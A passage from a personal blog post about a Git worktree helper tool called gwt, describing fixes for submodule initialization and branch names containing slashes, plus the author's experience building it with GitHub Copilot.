Submodule SupportWhen I converted this blog repository to the gwt format and tried to preview the post using docker compose, it failed because the worktree I was on didn t have the Git submodule initialized. My blog theme is included on the repository as a submodule, and when I used gwt to check out different branches in worktrees, the submodule was not initialized in the new worktrees. This led me to add new internal function and a gwt submodule command to handle submodule initialization; the internal function is called from convert and add (when converting a repo or adding a worktree) and the public command is useful to update the submodules on existing branches.

Path Handling with Branch Names Containing SlashesThe second discovery was a bug in how the tool handled branch names containing slashes (e.g., feature/new-api, docs/user-guide), the worktree directories are created with the branch name as the path, so a branch like feature/new-api would create two nested folders (feature and new-api inside it). However, there was a mismatch in how the zsh wrapper function resolved worktree paths (initially it used shell parameter expansion, i.e. rel="$ cwd#"$REPO_ROOT"/ "), versus how the core script calculated them, causing the cd command to fail or navigate to the wrong location when branch names contained slashes. The fix involved ensuring consistent path resolution throughout the script and wrapper (now it uses a function that processes the git worktree list output), so that gwt cd feature/new-api correctly navigates to the worktree directory regardless of path depth.

Conclusiongwt is a tool that solves a real problem: managing multiple Git branches simultaneously without context-switching overhead. I m sure I m going to keep using it for my projects, as it simplifies some workflows, although I ll also use switch and stash in some cases, but I like the use of multiple worktrees in parallel. In fact I converted this blog repository checkout to the gwt format to work on a separate branch as it felt the right approach even if I m the only one using the repo now, and it helped me improve the tool, as explained before. Also, it was a good example of how to use AI tools like copilot to develop a simple tool and keep it evolving while using it. In any case, although I find the copilot useful and has saved me time, I don t trust it to work without supervision, it worked well, but got stuck some times and didn t do the things as I wanted in multiple occasions. I also have an additional problem now I ve been reading about it, but I don t really know which models to use or how the premium requests are computed (I ve only been playing with it since last month and I ran out of requests the last day of the month on purpose, just to see what happened it stops working ;). On my work machine I ve been using a specific user account with a GitHub Copilot Business subscription and I only used the Anthropic Claude Sonnet 4.6 model and with my personal account I configured the Anthropic Claude Haiku 4.5 model, but I ve only used that to create the initial draft of this post (I ended up rewriting most of it manually anyway) and to review the final version (I m not a native speaker and it was useful for finding typos and improving the style in some parts). I guess I ll try other models with copilot in the future and check other command line tools like aider or claude-code, but probably only using free accounts unless I get a payed account at work, as I have with GitHub Copilot. To be fair, what I will love to be able to do is to use local models (aider can do it), but the machines I have are not powerful enough. I tried to run a simple test and it felt really slow, but when I have the time or the need I ll try again, just in case.